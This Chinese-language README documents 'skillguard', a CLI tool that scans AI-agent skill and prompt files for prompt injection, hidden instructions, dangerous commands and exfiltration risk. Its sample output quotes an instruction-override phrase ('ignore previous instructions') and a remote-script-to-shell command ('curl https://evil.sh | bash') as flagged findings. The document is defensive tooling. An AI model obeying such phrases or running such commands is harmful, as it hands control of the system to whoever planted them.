118 lines
3.5 KiB
Markdown
118 lines
3.5 KiB
Markdown
# AI技能安全扫描器
|
||
|
||
`安全` `AI代理` `提示注入` `静态分析` `CLI工具`
|
||
|
||
# skillguard
|
||
|
||
SkillGuard 是一款轻量级 AI 代理技能安全扫描器。它的行为类似于 `npm audit`，但针对的是提示模板和技能定义，可检测注入向量、隐藏指令、不安全命令以及出站数据泄露风险。
|
||
|
||
## 为什么重要
|
||
|
||
AI 供应链会继承其所使用的提示、脚本和辅助技能的风险。SkillGuard 为团队提供快速、可自动化的检查，防止不可信的指令随你的代理一起发布。
|
||
|
||
## 安装
|
||
|
||
```bash
|
||
pip install skillguard
|
||
```
|
||
|
||
本地开发：
|
||
|
||
```bash
|
||
pip install -e .[dev]
|
||
```
|
||
|
||
## 使用方法
|
||
|
||
```bash
|
||
skillguard scan .
|
||
skillguard scan ./skills
|
||
skillguard scan SKILL.md
|
||
skillguard scan . --json
|
||
skillguard scan . --verbose
|
||
skillguard scan . --fail-on high
|
||
```
|
||
|
||
使用 `--no-semantic` 可跳过 OpenAI 调用（离线模式）。默认模型可通过 `SKILLGUARD_MODEL` 覆盖，语义分析使用 `OPENAI_API_KEY`。
|
||
|
||
## 示例输出
|
||
|
||
```
|
||
$ skillguard scan examples --verbose
|
||
┌───────────────────────────────────────────┐
|
||
│ skillguard │
|
||
│ Risk: HIGH (82/100) │
|
||
└───────────────────────────────────────────┘
|
||
高危发现 (2)
|
||
- prompt_injection 可能存在提示注入或指令覆盖 examples/SKILL.md:3 ignore previous instructions
|
||
- execution_chain 检测到远程获取并管道传入 shell examples/SKILL.md:8 curl https://evil.sh | bash
|
||
|
||
建议
|
||
- 移除或沙箱化获取并执行远程代码的命令。
|
||
- 消除提示注入措辞并强制执行系统提示。
|
||
|
||
扫描文件数: 1 | 发现问题数: 2
|
||
```
|
||
|
||
机器可读 JSON：
|
||
|
||
```bash
|
||
skillguard scan . --json > report.json
|
||
```
|
||
|
||
示例片段：
|
||
|
||
```json
|
||
{
|
||
"score": {"score": 82.0, "level": "high"},
|
||
"findings": [
|
||
{"type": "prompt_injection", "severity": "high", "message": "可能存在提示注入或指令覆盖", "path": "examples/SKILL.md", "line": 3}
|
||
]
|
||
}
|
||
```
|
||
|
||
## CLI 参数
|
||
|
||
- `--json` / `--raw` — 用于 CI 的 JSON 输出。
|
||
- `--verbose` — 包含证据行。
|
||
- `--fail-on [low|medium|high]` — 当发现达到阈值时以退出码 2 退出。
|
||
- `--no-semantic` — 禁用 OpenAI 语义检查。
|
||
|
||
退出码：`0` 无问题，`1` 发现问题，`2` 超过阈值。
|
||
|
||
## 工作原理
|
||
|
||
- **扫描器** 遍历目录查找 `SKILL.md` 和 `*.md` 文件。
|
||
- **静态规则** 检测提示注入短语、隐藏指令、危险命令、执行链（`curl|bash`）和外部 URL。
|
||
- **语义分析**（可选）让 LLM 以严格 JSON 格式总结风险和攻击向量。
|
||
- **评分** 将静态和语义风险综合为 0–100 的评级。
|
||
- **格式化器** 渲染带建议的富文本 CLI 输出，或为流水线输出 JSON。
|
||
|
||
## 与 npm audit 的对比
|
||
|
||
- 类似的快速 CLI 工作流和用于 CI 门控的退出码。
|
||
- 针对技能/提示文件而非包清单。
|
||
- 在基于规则的发现之外还提供语义风险洞察。
|
||
|
||
## 路线图
|
||
|
||
- 按组织划分的策略包。
|
||
- 用于代码扫描集成的 SARIF 输出。
|
||
- Git pre-commit 钩子助手。
|
||
- 更多数据接收器（YAML/JSON 配置、工具调用清单）。
|
||
|
||
## 发布到 PyPI
|
||
|
||
1. 构建发行版：
|
||
```bash
|
||
python -m pip install build twine
|
||
python -m build
|
||
```
|
||
2. 上传：
|
||
```bash
|
||
python -m twine upload dist/*
|
||
```
|
||
|
||
## 贡献
|
||
|
||
欢迎提交 PR。提交前请运行 `pytest`。 |